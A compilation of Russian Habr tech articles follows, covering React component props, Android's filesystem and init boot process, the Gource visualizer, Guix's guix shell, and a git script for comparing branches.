На следующем этапе, для повышения надежности мы отказались от записи конфигурации в файл по каждой команде. Вся конфигурация теперь хранится в оперативной памяти и, при необходимости, по отдельной команде может быть сохранена в файлах в папках */mnt/data/* и */mnt/backup/*.
Если в процессе работы потребуется внести изменения в корневую файловую систему, не перепрошивая устройство, можно из консоли перемонтировать систему для чтения и записи командой
```
mount -o remount,rw /
```
Выполнить изменения и, затем, перемонтировать в Read-Only:
```
mount -o remount,ro /
``` | https://habr.com/ru/post/483900/ | null | ru | null |
# Унификация визуальных компонентов. Часть 1. Стили
Данная статья будет, прежде всего, полезна разработчикам, которые не работают с готовыми наборами компонентов, такими как, material-ui, а реализуют свои. Например, для продукта разработан дизайн, отражающий то, как должны выглядеть кнопочки, модальные окна и т.п. Чтобы грамотно реализовать такую дизайн-систему, потребуется всем её атомам добавлять хорошую поддержку их композиции. Иными словами, нужно добиться того, чтобы любой отдельно взятый компонент мог интегрироваться и идеально вписываться в больший составной компонент. А если он не вписывается, то было бы неплохо иметь простую поддержку его кастомизации. Как бы то ни было, это отдельная большая тема, и, возможно, я вернусь к ней в другой раз.
### Лирика
Всем привет. Начинаю свой путь на хабре с простой, но полезной статьи. Как для меня, получилось слишком подробно, но всё же я пытался подстроиться под читателя, а не под себя. Перед написанием следующей статьи (если она будет) на более сложную тему, имею желание скорректировать своё изложение по фидбэку (если он будет).
Используемые термины:
* Визуальный компонент — компонент, который возвращает элемент, встраивающиеся в DOM. Например, `return ()`. Компонент, который возвращает только другой компонент, визуальным трактовать не следует.
### Введение
Когда вы разрабатываете компонент, вы не можете сделать его полностью универсальным. В голове вы всегда отталкиваетесь от конкретных вариантов его использования. Часто получается, что после разработки, ваши коллеги начинают «пихать этот компонент куда попало». Вы на них сердитесь: «Ну я же разрабатывал его не для этого! Он не предназначен для этой задачи!». Конечно, доработки неизбежны, и даже нужны. Но это не должны быть доработки по типу прокинуть новый пропс, чтобы увеличить отступ с 4px до 8px, который будет использоваться в одном-двух случаях из пятидесяти. Компоненты должны иметь настраиваемую внешнюю геометрию.
### TypeScript, выручай
Рассмотрим интерфейс, который по смыслу нужно располагать, например, в `src/Library/Controls.ts`. К полям приведены краткие комментарии, ниже мы разберём их подробнее.
```
export interface VisualComponentProps {
// Вложенные компоненты. Определено для компонента-функции
children?: React.ReactNode;
// Как и в css
className?: string;
// Активный флаг означает, что компонент не будет отрисован.
doNotRender?: boolean;
// Это будет отрисовано при doNotRender true
fallback?: JSX.Element;
// Как и в css
style?: React.CSSProperties;
}
```
Это интерфейс пропсов компонентов. Каких? Всех визуальных компонентов. Они должны применяться на его корневой элемент.
Пропсы каждого разрабатываемого визуального компонента следует расширять, используя этот интерфейс.
Сразу прошу обратить внимание на то, что все эти пропсы опциональны. Рассмотрим их.
* `children` есть в компонентах-классах React.Component, компонентах-функциях React.FC, но их нет в обычных функциях без задания типизации React.FC. Поэтому задаём его.
* `className/style` используем аналогичные названия, как в обычном JSX'ном . Не плодим семантику. Этот принцип тождественности названия используется, например, [в пропсе для задания ссылки ref](https://reactjs.org/docs/refs-and-the-dom.html#adding-a-ref-to-a-dom-element).
* `doNotRender` используется как альтернатива наболевшему костыльному в JSX [рендеру по условию](https://reactjs.org/docs/conditional-rendering.html#inline-if-with-logical--operator). Применяя это решение, нам не нужно городить фигурные скобки в render методах, ухудшая читаемость кода. Сравните 2 фрагмента кода:
Virgin conditional rendering:
`App.tsx`
```
renderComponent() {
const {props, state} = this;
const needRender = state.something;
return (
{needRender &&
}
);
}
```
Chad пропс doNotRender:
`App.tsx`
```
renderComponent() {
const {props, state} = this;
const needRender = state.something;
return (
);
}
```
В первом варианте мы увеличиваем уровень вложенности нижней кнопки, хотя по смыслу её вложенность на том же уровне, что и верхняя. Это смотрится плохо в моём редакторе, где я использую tab шириной в 2 пробела, а здесь и того хуже.
Во втором варианте имеем равную вложенность, за минусом, что doNotRender может не броситься в глаза и разработчик не поймёт что происходит. Но, если в вашем проекте каждый визуальный компонент сделан по этому принципу, то эта проблема сразу уходит.
* `fallback` нужен, если мы не хотим рендерить `null` при `doNotRender true`, а какой-то кастомный элемент. Используется по аналогии [React Suspense](https://reactjs.org/docs/concurrent-mode-suspense.html), так как имеет схожий смысл (не плодим семантику)
Хочу показать, как это правильно использовать. Сделаем простенькую кнопочку.
Примечание: в коде ниже я также использую css-modules, sass и classnames.
`UIButton.tsx`
```
import * as React from 'react';
import { VisualComponentProps } from 'Library/Controls';
import * as css from './Button.sass';
import cn from 'classnames';
// Расширяем (наследуем) пропсы
export interface ButtonBasicProps {
disabled?: boolean;
}
export interface ButtonProps extends ButtonBasicProps, VisualComponentProps {}
export function UIButton(props: ButtonProps) {
// Не возвращаем undefined, иначе реакт будет материться
// "Nothing was returned from render."
if (props.doNotRender) return props.fallback || null;
// Объединяем все классы в строку
const rootClassNames = cn(
// Класс, описанный в sass
css.Button,
// Классы, которые можно прокинуть через props
props.className,
// Обычные классы компонента по условию
props.disabled && css._disabled
);
return (
)
}
```
`App.tsx`
```
renderComponent() {
const {props, state} = this;
const needRenderSecond = true;
return (
);
}
```
Результат:
### Рефлексия и заключение
Такими компонентами удобно оперировать, как div'ами, создавая различные обертки, композиции, специализации, выходя за рамки заложенного в них изначального функционала.
Можно возразить, что раз в дизайн-системе нет условных желтых кнопок, а разработчику нужно их сделать, значит проблема не в компонентах, а в том, что эту надобность создаёт. Тем не менее, реалии таковы, что такие ситуации возникают, и довольно часто. "… А жить-то надо! Надо жить." К тому же, принцип каскада css не всегда можно реализовать на практике, и у вас могут возникать случаи, когда ваши стили просто-напросто перекрываются более высокой специфичностью другого селектора (или описаны выше). Тут как раз выручает style.
Напоследок, добавлю пару (буквально) моментов.
1. Учитывайте, что doNotRender не полностью повторяет поведение conditional rendering. У вас также будут выполняться методы жизненного цикла, просто render будет возвращать fallback или null. В некоторых сложных компонентах вы захотите избежать исполнения методов жизненного цикла. Для этого, вам просто нужно сделать built-in [специализацию](https://reactjs.org/docs/composition-vs-inheritance.html#specialization) вашего компонента.
На примере UIButton: переименуйте UIButton в UIButtonInner и добавьте под ним следующий код:
`UIButton.tsx`
```
export function UIButton(props: ButtonProps) {
if (props.doNotRender) return props.fallback || null;
return ;
}
```
P.S. Не совершайте ошибку рекурсивного вызова UIButton в данной функции!
2. В редких случаях, когда могут независимо меняться стили на обертке и на оборачиваемом компоненте, вам может пригодиться следующий интерфейс
`Library/Controls.ts`
```
export interface VisualComponentWrapperProps extends VisualComponentProps {
wrappedVisual?: VisualComponentProps;
}
```
**И его использование**`UIButton.tsx`
```
interface ButtonSomeWrapperProps extends ButtonBasicProps, VisualComponentWrapperProps {
myCustomProp?: number;
}
export function UIButtonSomeWrapper(props: ButtonSomeWrapperProps) {
if (props.doNotRender) return props.fallback || null;
const {
// Пропсы VisualComponentProps обертки
style, className, children, fallback, doNotRender,
// VisualComponentProps оборачиваемого компонента
wrappedVisual,
// Собственные пропсы обертки
myCustomProp,
// Собственные пропсы оборачиваемого компонента
...uiButtonProps
} = props;
return (
{myCustomProp}
{children}
);
}
```
Разработка приложения с использованием этого подхода значительно повысит реюзабельность ваших компонентов, снизит количество лишних костыльных стилей (речь о стилях, описанных в файлах стиля компонента исключительно для нужды других компонентов) и пропсов, добавит коду структурированности. На этом всё. В следующей статье начнем решать проблемы реюзабельности компонентов больше с точки зрения кода, нежели css. Либо напишу о чём-нибудь более интересном. Спасибо за внимание. | https://habr.com/ru/post/479714/ | null | ru | null |
# Основы безопасности операционной системы Android. Native user space, ч.1
### Вступление
В этой статье я попробую рассмотреть безопасность чуть-чуть повыше ядра, а именно: как работает безопасность в Native user space. Мы коснемся темы процесса загрузки операционной системы и рассмотрим структуру файловой системы Android. Как я уже говорил, я не очень силен в Linux, поэтому если заметите неточности, то исправляйте — меня научите и статью улучшите. Так как эта тема довольно обширная, я решил разбить её на две части. В первой части мы рассмотрим процесс загрузки операционной системы и особенности файловой системы. Всем кому интересно, добро пожаловать!
#### Список статей
Здесь собраны ссылки на мои статьи из этой темы:
1. [Основы безопасности операционной системы Android. Уровень ядра](http://habrahabr.ru/post/175517/)
2. [Основы безопасности операционной системы Android. Native user space, ч.1](http://habrahabr.ru/post/176131/)
3. [Основы безопасности операционной системы Android. Native user space, ч.2](http://habrahabr.ru/post/176631/)
4. [Основы безопасности операционной системы Android. Безопасность на уровне Application Framework. Binder IPC](http://habrahabr.ru/post/176093/)
#### Что подразумевается под Native user space
Под Native user space подразумеваются все компоненты пространства пользователя, которые выполняются вне Dalvik Virtual Machine, и которые не являются частью Linux kernel.
### Файловая система Android
Для начала давайте рассмотрим структуру файловой системы Android. Хотя Android и базируется на Linux kernel, [привычную](http://ru.wikipedia.org/wiki/FHS) нашему глазу структуру файловой системы мы здесь не увидим. Давайте запустим эмулятор и посмотрим, что у нас есть. Для этого выполним комманду:
```
adb shell ls -al
```
В моем терминале для эмулятора на Android 4.2 я вижу следующий результат:
```
drwxr-xr-x root root 2013-04-10 08:13 acct
drwxrwx--- system cache 2013-04-10 08:13 cache
dr-x------ root root 2013-04-10 08:13 config
lrwxrwxrwx root root 2013-04-10 08:13 d -> /sys/kernel/debug
drwxrwx--x system system 2013-04-10 08:14 data
-rw-r--r-- root root 116 1970-01-01 00:00 default.prop
drwxr-xr-x root root 2013-04-10 08:13 dev
lrwxrwxrwx root root 2013-04-10 08:13 etc -> /system/etc
-rwxr-x--- root root 244536 1970-01-01 00:00 init
-rwxr-x--- root root 2487 1970-01-01 00:00 init.goldfish.rc
-rwxr-x--- root root 18247 1970-01-01 00:00 init.rc
-rwxr-x--- root root 1795 1970-01-01 00:00 init.trace.rc
-rwxr-x--- root root 3915 1970-01-01 00:00 init.usb.rc
drwxrwxr-x root system 2013-04-10 08:13 mnt
dr-xr-xr-x root root 2013-04-10 08:13 proc
drwx------ root root 2012-11-15 05:31 root
drwxr-x--- root root 1970-01-01 00:00 sbin
lrwxrwxrwx root root 2013-04-10 08:13 sdcard -> /mnt/sdcard
d---r-x--- root sdcard_r 2013-04-10 08:13 storage
drwxr-xr-x root root 2013-04-10 08:13 sys
drwxr-xr-x root root 2012-12-31 03:20 system
-rw-r--r-- root root 272 1970-01-01 00:00 ueventd.goldfish.rc
-rw-r--r-- root root 4024 1970-01-01 00:00 ueventd.rc
lrwxrwxrwx root root 2013-04-10 08:13 vendor -> /system/vendor
```
Я отмечу здесь только главные директории и те, которые нам пригодятся в будущем. В Интернете можно найти описание и предназаначение других директорий. Можно заметить, что некоторые директории такие же, как и в Linux, например, **/dev**, **/proc**, **/sys**, **/mnt**, **/etc** И их предназначение в основном такое же, как и в Linux. Кстати, отметьте, что мы не видим **/bin** и **/lib** директорий. Где они скрылись, я расскажу чуть позже.
C другой стороны можно заметить директории, которых в Linux вообще нет. Среди них нас интересуют **/data**, **/system**, **/cache**, **/init**, **/init.rc** Давайте рассмотрим их назначение поподробнее.
**/system** Это главная директория, где хранятся неизменяемые компоненты Android системы. Если проводить аналогию, то эта папка похожа на папку *C:\windows\*, доступную только для чтения. Т.е. изменять данные в этой директории мы не можем. Как раз здесь можно найти директории **/bin** и **/lib**, где хранятся различные исполняемые файлы и shared libraries. Кроме того, здесь же лежат системные приложения, которые встроены в операционку и которые, по умолчанию, нельзя удалить. Содержимое этой директории формируется во время компиляции операционной системы.
**/data** Т.к. **/system** у нас доступна только для чтения, то должна быть директория где хранятся изменяемые данные. **/data** как раз ею и является. Например, в эту директорию в **/data/app** сохраняются apk файлы устанавливаемых приложений, а в **/data/data** хранятся их данные (эту директорию мы подробно рассматривали в прошлой статье).
**/cache** Это просто временное хранилище. Также в эту директорию сохраняются, а потом из неё запускаются системные обновления.
Чтобы понять, что такое **/init** файл и для чего нужны непонятные файлы с расширением \*.rc, рассмотрим процесс загрузки системы.
### Процесс загрузки Android
Давайте рассмотрим несколько шагов процесса загрузки операционной системы Android. Эта картинка взята из книги «Embedded Android», там же можно найти и более детальное описание. Хотя в целом я и понимаю процесс, но для меня это больше магия :)
**CPU.** Когда вы нажимаете на кнопку включения, на процессор вашего устройства начинает подаваться напряжение. Так как до этого момента процессор был выключен, и так как он не способен сохранять свое состояние без подачи напряжения, то сразу после старта он находится в некотором неинициализированном состоянии. В данном случае процессор считывает из своего специального регистра некоторый жестко зашитый адрес и начинает выполнять инструкции начиная с него. Чаще всего, этот адрес указывает на чип, в который зашит bootloader (загрузчик).
**Bootloader.** Bootloader инициализирует RAM и загружает в неё Linux kernel. Кроме того Bootloader создает RAMdisk.
**Linux kernel.** Ядро инициализирует различные подсистемы, встроенные драйвера и монтирует root filesystem (корневую файловую систему). После этого ядро может запускать первую программу.
На этом магия заканчивается и дальше всё становится более-менее понятно.
### Init
Первой программой в случае Android является **init**. Исполняемый файл находится в корневой директории (**/init**). Именно эту программу стартует ядро после своей загрузки. Её исходники находятся в папке [*system/core/init/*](https://android.googlesource.com/platform/system/core/+/android-4.2.2_r1.2/init/) Давайте в них слегка покопаемся. Нас интересует [*system/core/init/init.c*](https://android.googlesource.com/platform/system/core/+/android-4.2.2_r1.2/init/init.c):
```
...
int main(int argc, char **argv)
{
...
/* clear the umask */
umask(0);
/* Get the basic filesystem setup we need put
* together in the initramdisk on / and then we will
* let the rc file figure out the rest.
*/
mkdir("/dev", 0755);
mkdir("/proc", 0755);
mkdir("/sys", 0755);
mount("tmpfs", "/dev", "tmpfs", MS_NOSUID, "mode=0755");
mkdir("/dev/pts", 0755);
mkdir("/dev/socket", 0755);
mount("devpts", "/dev/pts", "devpts", 0, NULL);
mount("proc", "/proc", "proc", 0, NULL);
mount("sysfs", "/sys", "sysfs", 0, NULL);
...
init_parse_config_file("/init.rc");
...
}
```
Вначале мы создаем и монтируем некоторые необходимые для работы директории, а потом парсим файл **/init.rc** и выполняем то, что распарсили. Формат **/init.rc** файла очень хорошо описан в [readme](https://android.googlesource.com/platform/system/core/+/android-4.2.2_r1.2/init/readme.txt), там же можно найти и пример. Если кратко, то этот файл представляет собой набор actions (секций — именнованная последовательность комманд). Каждая последовательность команд срабатывает по определенному trigger (триггеру). Например, следующая последовательно — это action, в которой trigger — это fs, а последовательность команд — это набор mount команд:
```
on fs
# mount mtd partitions
# Mount /system rw first to give the filesystem a chance to save a checkpoint
mount yaffs2 mtd@system /system
mount yaffs2 mtd@system /system ro remount
mount yaffs2 mtd@userdata /data nosuid nodev
mount yaffs2 mtd@cache /cache nosuid nodev
```
Исходный файл **/init.rc** находится в [*system/core/rootdir/init.rc*](https://android.googlesource.com/platform/system/core/+/android-4.2.2_r1.2/rootdir/init.rc) Давайте рассмотрим некоторые основные его части, хотя я вам очень советую просмотреть его полность. После этого многие вещи вам должны стать понятны. Итак, начинается наш файл следующими строками:
```
import /init.usb.rc
import /init.${ro.hardware}.rc
import /init.trace.rc
```
Они означают, что кроме **init.rc** файла нужно также импортировать настройки из файлов **init.usb.rc**, **init.trace.rc** и из файла с непонятным именем **init.${ro.hardware}.rc** Впрочем, **${ro.hardware}** — это просто переменная, значение которая определяет тип железа. В случае эмулятора, её значение, например, — **goldfish**. Далее определяются переменные окружения:
```
...
on init
...
# setup the global environment
export PATH /sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin
export LD_LIBRARY_PATH /vendor/lib:/system/lib
export ANDROID_BOOTLOGO 1
export ANDROID_ROOT /system
export ANDROID_ASSETS /system/app
export ANDROID_DATA /data
export ANDROID_STORAGE /storage
export ASEC_MOUNTPOINT /mnt/asec
export LOOP_MOUNTPOINT /mnt/obb
export BOOTCLASSPATH /system/framework/core.jar:/system/framework/okhttp.jar:/system/framework/core-junit.jar:/system/framework/bouncycastle.jar:/system/framework/ext.jar:/system/framework/framework.jar:/system/framework/telephony-common.jar:/system/framework/mms-common.jar:/system/framework/android.policy.jar:/system/framework/services.jar:/system/framework/apache-xml.jar
...
```
После этого происходит инициализация переменных, необходимых для работы устройства. Если вас заинтересует эта тема, то вы легко найдете информацию о той или иной комманде. Давайте подробно рассмотрим следующий блок (который я уже приводил в этой статье):
```
on fs
# mount mtd partitions
# Mount /system rw first to give the filesystem a chance to save a checkpoint
mount yaffs2 mtd@system /system
mount yaffs2 mtd@system /system ro remount
mount yaffs2 mtd@userdata /data nosuid nodev
mount yaffs2 mtd@cache /cache nosuid nodev
```
MTD — Memory Technology Devices. Если в общих чертах, то MTD — это специальный чип с энергонезависимой (т.е. данные на этом чипе сохраняются после перезагрузки или выключения) flash-памятью (типа NOR или NAND), на который сохраняются образы дисков. В [этой](http://www.linuxforu.com/2012/01/working-with-mtd-devices/) статье более подробно рассказывается об этом типе устройств, а также об ограничениях. Специально для этих разновидностей flash-памяти были разработаны специальные файловые системы, например, YAFFS. Одно из самых важных ограничений этих типов памяти заключается в том, что для того чтобы записать данные в сектор, куда уже записаны какие-то данные, вам надо полностью сначала стереть весь сектор. Поэтому производители стали переходить на новый тип блочной flash-памяти (eMMC), на которые можно поставить обычную ext4 файловую систему и избавиться от указанного ограничения. Т.к. я показываю пример **init.rc** файла для эмулятора, где вся работа эмулируется, то в нем по умолчанию используется файловая система YAFFS2 (думаю, что это пережитки прошлого, т.к. YAFFS2 использовалась для всех устройств до Android 2.2). В реальном устройстве (это как раз один из примеров, когда необходимо использовать **init.rc** файл для определенного железа) эти комманды будут перезаписаны. Например, в случае устройства ***herring*** (Google Nexus S), в файле **[init.herring.rc](https://android.googlesource.com/device/samsung/crespo/+/android-4.1.2_r2/init.herring.rc)** эта секция выглядит следующим образом:
```
on fs
mkdir /efs 0775 radio radio
mount yaffs2 mtd@efs /efs noatime nosuid nodev
chmod 770 /efs/bluetooth
chmod 770 /efs/imei
mount_all /fstab.herring
...
```
Где **fstab.herring** — это [файл](https://android.googlesource.com/device/samsung/crespo/+/android-4.1.2_r2/fstab.herring), содержимое которого выглядит следующим образом:
```
...
/dev/block/platform/s3c-sdhci.0/by-name/system /system ext4 ro wait
/dev/block/platform/s3c-sdhci.0/by-name/userdata /data ext4 noatime,nosuid,nodev,nomblk_io_submit,errors=panic wait,encryptable=/efs/userdata_footer
```
Как вы могли заметить, **/system**, **/data**, **/cache** — это просто mounting points (точки монтирования файловой системы), которые указывают либо на MTD устройства (в случае эмулятора), либо на блочные устройства (в случае настоящего устройства), куда записаны соответствующие дисковые образы (system.img, userdata.img и cache.img). Я не уверен, но думаю, что внутри смартфона находится один единственный чип с flash-памятью, разделенный на partitions (тома), в каждый из которых записан соответствующий образ. Этот чип с flash-памятью — то, что мы знаем под именем **Internal storage** (внутренняя память), объем которой — один из основных параметров смартфона.
Следует заметить, что **/system** смонтирован read-only (только для чтения). Это означает, что содержимое данного раздела не изменяется в процессе работы устройства, а только когда вы, например, обновляете систему на вашем устройстве (используя системные обновления).
Продолжим рассматривать наш **init.rc**. По триггеру **post-fs-data** формируется базовая структура файловой системы **/data** раздела. Там, в общем всё понятно — набор **mkdir**, **chown**, **chmod** команд.
Далее **init.rc** запускает несколько демонов. Если вернуться к рисунку в начале статьи, то они перечислены в блоке Native daemons. На этом мы пока остановимся. Как вы могли заметить из рисунка, я не полностью рассмотрел процесс загрузки операционной системы. Некоторые непокрытые этапы я рассмотрю в следующих статья.
### Заключение
В следующей части я расскажу, откуда берутся образы system.img, userdata.img и cache.img и рассмотрю безопасность на уровне Native user space. Как всегда приветствуются исправления, дополнения, а так же предложения, о чем написать. И хотя у меня уже есть некоторый план, о чем писать в следующих статья, я готов его подкорректировать.
#### Ссылки
1. [Working with MTD Devices](http://www.linuxforu.com/2012/01/working-with-mtd-devices/)
2. [«Embedded Android»](http://shop.oreilly.com/product/0636920021094.do) by Karim Yaghmour
3. [«Android Security Underpinnings»](https://marakana.com/s/post/1393/slides.htm) by Marko Gargenta
**Update**
* [Комментарий](http://habrahabr.ru/post/176131/#comment_6124055) от пользователя [bmx666](http://habrahabr.ru/users/bmx666/) про различные варианты размещения загузчика на MTD устройствах.
* [Комментарий](http://habrahabr.ru/post/176131/#comment_6128459) от пользователя [SamOwaR](http://habrahabr.ru/users/samowar/) про инициализацию CPU на разных SoC | https://habr.com/ru/post/176131/ | null | ru | null |
# Gource — визуализируем историю работы над проектом
Спешу рассказать хабрасообществу о, относительно новом, дьявольски завораживающем проекте [Gource](http://code.google.com/p/gource/ "Gource@googlecode") которое еще не упоминалось. Это приложение позволяет визуализировать историю изменений в системе контроля версии. Отрисовывает невероятно красиво при помощи OpenGL.
#### [Скриншоты](http://code.google.com/p/gource/wiki/Screenshots), [еще видео](http://code.google.com/p/gource/wiki/Videos).
Git поддерживается нативно. Для [CVS](http://code.google.com/p/gource/wiki/CVS), [SVN](http://code.google.com/p/gource/wiki/SVN), [Mercurial](http://code.google.com/p/gource/wiki/Mercurial) существуют скрипты позволяющие привести логи в нужный формат.
Имея необходимые кодеки и конвертер ffmpeg можно рендерить в видео-файл:
`gource --output-ppm-stream - | ffmpeg -y -b 3000K -r 60 -f image2pipe -vcodec ppm -i - gource.h264`
Управление просмотром:
* Клик правой кнопкой — переводим в режим автоматической «наводки» на активных пользователей
* Q — информация о рендеринге
* ↑↓ — зум
* Пробел — пауза
* *с остальными еще не разобрался :)*
Приложение open-source, доступна бинарная версия под win и .deb пакет.
<http://code.google.com/p/gource/downloads/list>
ps. Я использовал следующие ключи для запуска `gource -1280x1024 -f --highlight-all-users --multi-sampling` для того чтобы запустить на полный экран в максимальном (для монитора) разрешении и постоянно видеть логины пользователей.
 | https://habr.com/ru/post/75780/ | null | ru | null |
# Как хакнуть что угодно с помощью GNU Guix
Мариус Бакке (Marius Bakke) несколько лет занимается разработкой Guix и недавно начал вести свой блог. Мы решили перевести рассказ о том, почему Мариус увлёкся разработкой собственной операционной системы и как с её помощью можно вносить правки в код любых программ.
### Почему Guix
Друзья часто спрашивали, почему я трачу столько свободного времени на разработку Guix? Я не всегда находил, что ответить, но спустя шесть лет могу сформулировать несколько причин.
**Прежде всего, это весело.** Прикольно делать свою собственную операционную систему. Я могу спроектировать её именно так, как хочу: от внутреннего устройства до пользовательского интерфейса.
**Это приносит удовлетворение.**Хотя в последнее время обновления выходят не так активно, как хотелось бы, я испытываю чувство благоговения и удовлетворения, когда помогаю новым участникам, как новичкам, так и «профессионалам». Это что-то вроде прилива дофамина, который даёт силы для новых свершений: перехода на новый компилятор C или обновления версии Python (это больше напоминает зависимость, чем хобби).
**Моя работа кажется важной.** Guix занимает пустующую нишу на рынке операционных систем. Она предлагает полную воспроизводимость, прозрачность и исходники каждого пакета и каждого поколения ОС. Он также включает удобный язык сценариев, с помощью которого вы можете объединить любой пакет в один определённый сценарий. Это можно представить, как сценарии оболочки, где каждая команда лениво создаётся менеджером пакетов по запросу. Вам даже не нужно использовать Scheme, вы можете писать на любимом языке и запускать это в guix shell. Если вы отметите версию Guix (как указано в guix describe), вы можете использовать guix time-machine для воспроизведения точно такой же среды в будущем.
**Guix чист**. Я могу взять любой пакет и повторно использовать его исходный код для своих целей, не беспокоясь о коммерческих ограничениях. Приятно осознавать, что загружаются все пакеты, а не только какие-то [случайные двоичные объекты](https://hpc.guix.info/blog/2021/09/whats-in-a-package/). Guix абсолютно хакабелен, в него легко добавить дополнительные пакеты или службы.
Но самое главное, **Guix спас мне жизнь**. Когда я впервые начал работать с ним, у меня не было направления в жизни, никакого чувства цели или принадлежности к чему-то важному. Долгое время я использовал GNU/Linux, был «опытным пользователем» Debian, Gentoo и NixOS, но не внёс большого вклада в них, потому что упаковка данных требовала слишком много работы, или мне не нравилось сообщество, или стандарты упаковки данных были слишком "низкими". С Guix я, наконец, почувствовал себя как дома, он отвечал всем требованиям, с ним приятно работать (хотя поначалу он казался странным), и он также отчаянно нуждался в разработчиках.
Я знаю, что некоторые разочарованы тем, что я предпочитаю хобби «обычным» вещам. Что не гонюсь за карьерным ростом, не развиваю свою социальную сеть. Но без Guix я бы до сих пор был бестолковым алкоголиком, валяющимся на диване. Теперь я работаю с Guix дольше, чем на какой-либо другой работе, и наконец-то чувствую некоторую стабильность в жизни. Чувствую желание изучить другие творческие направления, такие как ведение блога, кулинарию, ведение здорового образа жизни (скалолазание и катание на лыжах).
Все это было бы невозможно без Guix и поддержки (иногда неохотной) моих замечательных друзей и семьи.
### Взлом с помощью Guix
Одна из моих любимых функций Guix — guix shell. Это один из тех инструментов, без которых сложно обойтись. Даже если вы не готовы использовать Guix в качестве пакетного менеджера (или дистрибутива), guix shell сам по себе может стать причиной для установки Guix.
Почему?
Если вы являетесь разработчиком программного обеспечения, системным администратором или кем-то ещё, вы, вероятно, сталкивались с ситуацией, когда нужно исправить какую-то часть программного обеспечения, которое написали не вы. Причины могут быть любыми: исправление ошибки, желание попробовать идею, которая пришла вам в голову, либо просто шутки ради.
Затем вы обнаружите, что для сборки требуется гора зависимостей и что версии, предоставляемые вашей операционной системой, слишком старые или доступны только при совместном использовании PyPI, CPAN и других случайных репозиториев. Даже если ваш обычный менеджер пакетов имеет все доступные зависимости, вам вряд ли захочется устанавливать всё перечисленное.
Запустите guix shell. Если вам повезёт, то проект, который вы хотите взломать, уже доступен в Guix среди других 21000+ пакетов. Затем вы можете просто клонировать репозиторий, перейти к проекту в терминале и запустить:
```
guix shell --development the-package
```
Вот и все. Guix загрузит всё необходимое для сборки этого пакета из исходника, для запуска тестов и т. д. также он сделает их доступными только для текущего сеанса оболочки. Затем вы делаете `make`, `pytest` или что вам нужно, чтобы попробовать этот патч. PYTHONPATH, CPATH, и т. д. — всё настроено и готово к работе.
Как только вы выходите из оболочки, среда исчезает, как будто её никогда и не было. Если вы хотите взломать этот проект позже, просто запустите ту же команду ещё раз. Теперь все зависимости кэшируются в вашей системе, поэтому создание среды занимает миллисекунды.
Что делать, если пакет находится не в Guix, а в его зависимостях? Вы можете создавать произвольные среды с помощью:
```
guix shell package1 package2 packageN
```
Или объединить:
```
guix shell -D the-package package1 package2 -D package3
```
( -D – это сокращение от --development)
Но что, если вы не хотите, чтобы пакетные менеджеры или сборочные системы засоряли ваши файлы $HOME, крали ваши пароли и [стирали ваши данные](https://github.com/MrMEEE/bumblebee-Old-and-abbandoned/issues/123)? Guix shell вас прикроет:
```
guix shell --container [...]
```
Теперь вы находитесь в изолированной среде, которая может получить доступ только к текущему рабочему каталогу и без доступа к сети (если вы не пройдёте `--network`. Вы можете сделать отдельные части вашей файловой системы видимыми с помощью `--expose` (только чтение) и`--share`(чтение/запись). Это пригодится, если вы просто хотите попробовать какую-то программу или сценарий, не доверяя им полностью.
В guix shell скрываются и другие функции, но вышеописанные я использую чаще всего. У меня даже нет доступного на PATH питона, каждый раз, когда мне нужна оболочка, я просто создаю новую, адаптированную к проекту, который я хочу взломать.
Кстати, [этот блог](https://gexp.no/blog/) с гордостью работает на `guix shell -m manifest.scm -- haunt build`.
Удачного взлома!
---
**Что ещё интересного есть в блоге Cloud4Y**
→ [Как открыть сейф с помощью ручки](https://habr.com/ru/company/cloud4y/blog/670048/)
→ [OpenCat — создай своего робокотика](https://habr.com/ru/company/cloud4y/blog/684696/)
→ [Как распечатать цветной механический телевизор на 3D-принтере](https://habr.com/ru/company/cloud4y/blog/668962/)
→ [WD-40: средство, которое может почти всё](https://habr.com/ru/company/cloud4y/blog/595493/)
→ [Nmap — голливудская звезда](https://habr.com/ru/company/cloud4y/blog/688472/)
Подписывайтесь на наш [Telegram](https://t.me/cloud4y)-канал, чтобы не пропустить очередную статью. Пишем только по делу. А ещё напоминаем про второй сезон нашего сериала ITить-колотить. Его можно посмотреть на [YouTube](https://youtu.be/8arneYYzsJw)и [ВКонтакте](https://vk.com/video/playlist/-114833493_1). | https://habr.com/ru/post/690612/ | null | ru | null |
# Git compare: быстрый способ сравнить две ветки
Сегодня я хочу поделиться с вами небольшим [bash-скриптом](https://github.com/andronov-alexey/git-cmp), который я успешно использую уже в течение нескольких лет.
Для начала опишу ситуацию, часто у меня возникающую и по сей день, которая и сподвигла на написание скрипта. Во время работы над новой задачей я периодически сохраняю текущее состояние проекта в гите, при этом сами коммиты не несут никакой смысловой нагрузки ни по содержанию ни по коммит-сообщениям.
В результате локальная ветка законченной задачи выглядит примерно так:
Наступает следующий этап:
1) Все коммиты из задачи объединяются в один большой (`feature-all-private` на картинке)
2) Этот большой коммит разбивается на [аккуратные](https://chris.beams.io/posts/git-commit/) коммиты с внятными описаниями (`feature-public` на картинке):
**Проблема:** во время разбития коммитов я обычно провожу легкий рефекторинг, меняю коммиты местами и прочее, что потенциально может привести к незапланированным изменениям в коде (что-то потерялось при ребейзе или разрешении конфликтов, например)
**Решение:** в гите на тот момент не было инструмента быстро сравнить содержимое двух веток, поэтому я решил написать небольшой скрипт — [git-cmp](https://github.com/andronov-alexey/git-cmp)
[Инструкция по установке](https://github.com/andronov-alexey/git-cmp#getting-started) достаточно простая — нужно локально сохранить bash-скрипт и добавить алиас в гите.
Теперь мы можем одной командой сравнить "рабочую" версию задачи (`feature-private`) с конечной "публикуемой" версией (`feature-public`):
```
git checkout feature-public
git cmp feature-private
```
Вывод которой покажет, что либо изменений нет и ветки идентичны:
```
$ git cmp feature-private
common parent commit: 758d3fa
cleaning...
...done
```
Либо изменения есть и они будут показаны с использованием `git-diff`:
```
$ git cmp feature-private
common parent commit: 758d3fa
diff --git a/test.txt b/test.txt
index 1e65656..2013c09 100644
--- a/test.txt
+++ b/test.txt
@@ -1,4 +1,4 @@
-oldLine
+newLine
cleaning...
...done
```
Таким образом мы можем быстро убедиться, что мы ничего не сломали при разбитии коммитов и ветка спокойно может быть опубликована:
Надеюсь, этот скрипт будет полезен кому-то еще
Исходники выложены на [гитхабе](https://github.com/andronov-alexey/git-cmp)
Картинки были созданы с помощью [codepen.io](https://codepen.io/nicoespeon/pen/aapdXq?editors=0010)
